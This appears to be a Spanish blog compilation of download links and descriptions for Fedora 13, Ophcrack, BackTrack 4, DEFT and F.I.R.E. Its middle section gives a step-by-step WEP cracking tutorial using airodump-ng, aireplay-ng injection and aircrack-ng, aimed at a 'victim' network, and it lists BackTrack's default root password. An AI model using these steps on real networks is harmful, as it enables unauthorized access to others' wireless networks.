AL FIN FEDORA 13......!!!!!!

Como siempre, Fedora continúa el desarrollo (http://www.fedoraproject.org/wiki/Red_Hat_contributions) y ofrece lo último en software libre y de código abierto (http://www.fedoraproject.org/wiki/Features). Las siguientes secciones ofrecen un pequeño resumen de los cambios más significativos desde el último lanzamiento de Fedora. Para conocer más detalles acerca de otras características incluídas en Fedora 13 diríjase a las páginas wiki correspondientes que explican los objetivos y muestran su progreso.

Fuente: http://fedoraproject.org/es/

 Descargas

                                                                     

                     

FEDORA 13 ESCRITORIO GNOME

     32 bits                        64 bit

______________________________

                   

 FEDORA 13 ESCRITORIO KDE

     32 bits                          64bits          

____________________________

                            

                   

                

FEDORA 13 ESCRITORIO  LXDE

      32 bits                           64 bits

____________________________

              

FEDORA 13 ESCRITORIO XFCE

      32 bits                             64 bits

  

Ophcrack Live CD

Esta es una herramienta para crackear las contraseñas de Windows basada en las tablas Rainbow. Es una implementación muy eficiente de las tablas rainbow hecha por los inventores de este método. Viene con una Interfaz Gráfica de Usuario GTK+ y corre bajo Windows, Mac OS X (CPU Intel) y también en Linux.

Lo podrian usar por si pierden u olvidan su clave de administrador.

Fuente: http://ophcrack.sourceforge.net/

Descargas:

VERSION XP

VERSION VISTA

Conectarse a internet desde el Backtrack 4

Al ver que me he complicado un poco al conectarme a interet a travez del Backtrack 4 aqui les dejo las lineas de comando que hay que seguir:

Una vez ya dentro del sistema escribir estas lineas de comandos:

1.- start-network (solo si te conectas atravez de señal inlámbrica)
2.- ifconfig interfaz ip  (en interfaz le pones eth0, wlan0, etc)
3.- route add default gw ip_gw (ip_gw es para que pongas la puerta de enlace)
4.- echo name server ip_gw > /etc/resolv.conf
5.- Si estas conectandote con tu interfaz inalambrica te faltaria ingresar al "inicio"> internet>wicd y ahi eliges la señal con la que vas a trabajar.

Si no te gusta el interfaz grafica(wicd) lo puedes hacer con estas lineas de comandos

 ifconfig interfaz up

 iwconfig interfaz essid nuestraESSID

 iwconfig interfaz key s:clave_wireless

Ahora deberias poder conectarte a internet.Espero que les sirva

Backtrack 4 Desencriptar CLaves WEP

No podía dejar de postear este tutorial ya que esta el Backtrack 4 .

1.- El Backtrack 4 lo pueden descargar de aquí mismo, bueno empecemos.

Lo primero sera loguearnos como root:

Login : root

Pass : toor

Luego cuando pida comando en el modo texto escribimos startx

2.- Una vez dentro buscamos la aplicacion llamada konsole(la llamaremos en adelante shell) .

3.- Escribimos ifconfig luego, buscaremos tu interfaz de red que puede llamarse wlan0 , rausb , eth0 etc ... y buscas adonde dice hardware address : anotas ese numero . ojo .. el numero llega hasta los 00 del final ...esa es tu dirección mac. luego cierras esa ventana .

4.- Abrimos otra shell y escribimos : airodump-ng wlan0 (tu interfaz de red)
y seleccionas la red a atacar. de ella copias el mac, bssid y el canal . cierras la shell.

5.- Abrimos otra shell y escribimos : airodump-ng -c 6(canal de la victima) -w prueba(Nombre que le quieras dar al archivo de captura) --bssid 66:77:88:99:00:11(mac de la victima) wlan0(tu interfaz de red) , con esto solo te aparecerá el AP(access point) de tu víctima , fijate en donde dice DATA ... esa cifra tiene que llegar por lo menos a 15.000 o mas para comenzar a desencriptar la clave .

6.- Para acelerar este proceso simplemente no manda DATA necesitamos abrir otra shell dejando la anterior abierta . y ahi escribimos : aireplay-ng -1 0 -a 66:77:88:99:00:11(mac del victima) -h 00:11:22:33:44:55(mac tuya) -e ejemplo(bssid de la red que atacamos es decir el nombre) wlan0(tu interfaz de red)

7.- En ese momento deberíamos empezar a recibir DATA mas rapido .. pero en algunos casos demora más porque no hay trafico de red .Luego se este paso podemos acelerar aun mas el proceso infectándole trafico a el router con el siguiente comando :

aireplay-ng -3 -b 66:77:88:99:00:11(mac víctima) -h 00:11:22:33:44:55( tu mac) wlan0(tu interfaz de red)

con eso debería recibir DATA mucho mas rápido. luego cuando tengamos  más de15.000 no cierres la shell y abre otra .

8.- Escribimos ahora aircrack-ng prueba(el nombre que le colocaste  al archivo de capturas)-01.cap


Nota : si comienzan a salir números circulando (hexadecimal) rápido quiere decir que no te alcanzan los data capturados y debes esperar mas . vas intentando hasta que nos diga key found : 44:55:66:77:88 esa seria la clave de tu red inalámbrica y  la copias sin los 2 puntos solo los números(es decir 4455667788) y la ingresas .

Backtrack 4

Backtrack probablemente es la distribución de Linux de seguridad de más alto rating y aclamado hasta la fecha. BackTrack contiene un gran arsenal para pruebas de penetración basada en Linux que ayuda a los profesionales en seguridad. No es necesario tener el O.S instalado ya que puede usarse DVDLive o desde un dispositivo USB.

BackTrack es para todo lo público, desde los profesionales con más experiencia y seguridad a los recién llegados al campo de seguridad de la información. BackTrack promueve una forma rápida y fácil de encontrar y actualizar la mayor base de datos de seguridad para su colección de herramientas.
 
Fuente:  http://www.backtrack-linux.org/
Descarga : http://www.backtrack-linux.org/download.php?fname=bt4f

DEFT LINUX ( Digital Evidence & Forensic Toolkit).

Es una distribución Linux basada en Xubuntu 9.10 con un kernel 2.6.31, escritorio LXDE con una gama de aplicaciones forenses (DEFT extra 2.0) orientada para la policia, investigadores, administradores de sistemas o especialistas forenses.

La lista de paquetes que integran es amplia con un contenido de calidad, acorde a las expectativas que nos ofrece, para que lo puedan comprobar incluyo extracto de paquetes (Fuente: http://www.deftlinux.net/)


DEFT v5 computer and network forensic packages list:

sleuthkit 3.01, collection of UNIX-based command line tools that allow you to investigate a computer
autopsy 2.21, graphical interface to the command line digital investigation tools in The Sleuth Kit
dhash 2, multi hash tool
aff lib 3.5.2, advanced forensic format
gpart, tool which tries to guess the primary partition table of a PC-type hard disk
guymager 0.4.2-1, a fast and most user friendly forensic imager
dd rescue 1.13, copy data from one file or block device to another
dcfldd 1.3.4.1, copy data from one file or block device to another with more functions
linen 6.01, Linux version of the industry- standard DOS-based EnCase acquisition tool
foremost 1.5.6, console program to recover files based on their headers, footers, and internal data structures photorec 6.11, easy carving tool
mount manager 0.2.6, advanced and user friendly mount manager
scalpel 1.60, carving tool
wipe
hex dump, combined hex and ascii dump of any file
outguess, a stegano tool
ophcrack 3.3.0, Windows password recovery
Xplico 0.6 DEFT edition, advanced network analyzer
Wireshark 1.2.2, network sniffer
ettercap 0.7.3, network sniffer
nessus 4, vulnerability and security scanner, client
nessusd 4, vulnerability and security scanner, server
nmap 5, the best network scanner
kismet 2008.05 R1, sniffer and intrusion detection system that work with any wireless card
dmraid, discover software RAID devices
testdisk, tool to recover damaged partitions
vinetto, tool to examine Thumbs.db files
trID 2.02 DEFT edition, tool to identify file types from their binary signatures
readpst 0.6.41, a tools to read ms-Outlook pst files
snmpwalk
chkrootkit, Checks for signs of rootkits on the local system
rkhunter 1.3.4, rootkit, backdoor, sniffer and exploit scanner
john 1.7.2, john the ripper password cracker
clam, antivirus 4.15

---------------DEFT extra 2.0:

System Information
Drive Manager
Reg Scanner
Win Audit
ReSysInfo
USB Deview
Bluethoot View
User Assist view
WRR
My Event View
MSI
Curr Proces
Live Acquisition
FTK imager
Winen
MDD
Forensics Tool
WFT
Zero View
WFA
File Alyser
Nigilant32
USB history
Shell command
PC on/off time
Password Recovery
Asterix logger
PassworFox
Chrome Pass
IE PassView
Wireless Key View
Mail pass view
Incredimail Message Extractor
Networking
Web Browser
IE Cookie View
IE History View
Mozilla Cookie View
Mozilla History View
Mozilla Cache view
Opera Cache View
Chrome Cache View
Index.dat Analyzer 2.0
Historian
FoxAnalisis
Utility tool
Skype Log View
Home Keylogger
HexEdit
SDHash
WipeDisk
USBWriteProtector
Testdisk
LTF View
AVI screen
Hower Snap
VNC Viewer
Sumatra PDF
Putty
Pre-Search
Photorec
Notepad++
WinMD5sum
Abiword
Undelete Plus
Hash calc
IP Net Info
SysInternal
Access Enum
autoruns
diskView
Regmon
WinOBj
Filemon
ProceXp
TCPView
Rootkit Revealer


---------------DEFT v5 features list:

incorruptibility of the partitions
incorruptibility of the swap spaces

linux Kernel 2.6.31

LXDE
apt-get system
vino
rdesktop
samba client
open SSH client & server
ntfs3g
lvm support
brasero
record my desktop
wicd network manager
speedcrunch

 Fuentes     :  http://www.deftlinux.net/, http://distrowatch.com/table.php?distribution=deft
 Descargar : http://www.mirrordeft.net/listing/deft/deftv5x.iso

F.I.R.E.: Forensic and Incident Response Environment

F.I.R.E. es una CD Live basado en Linux Knoppix. F.I.R.E. es una herramienta usada para el analisis forense, analisis de virus, recuperación de datos, herramientas de red, etc.

Además, tenemos la opción de trabajar bajo una interfaz gráfica que nos facilita el uso de esta herramienta o directamente bajo comandos.

Si trabajamos bajo una interfaz, dispondremos de cuatro terminales donde realizaremos nuestros comandos al mismo tiempo junto con un menú desplegable que nos mostrará todas las herramientas y utilidades que podemos usar.

Fuente:      http://fire.dmzs.com/

Descargar: http://prdownloads.sourceforge.net/biatchux/fire-0.3.5b.iso?download
Manual:     http://www.dmzs.com/~dmz/David_Zendzian_GCFA.pdf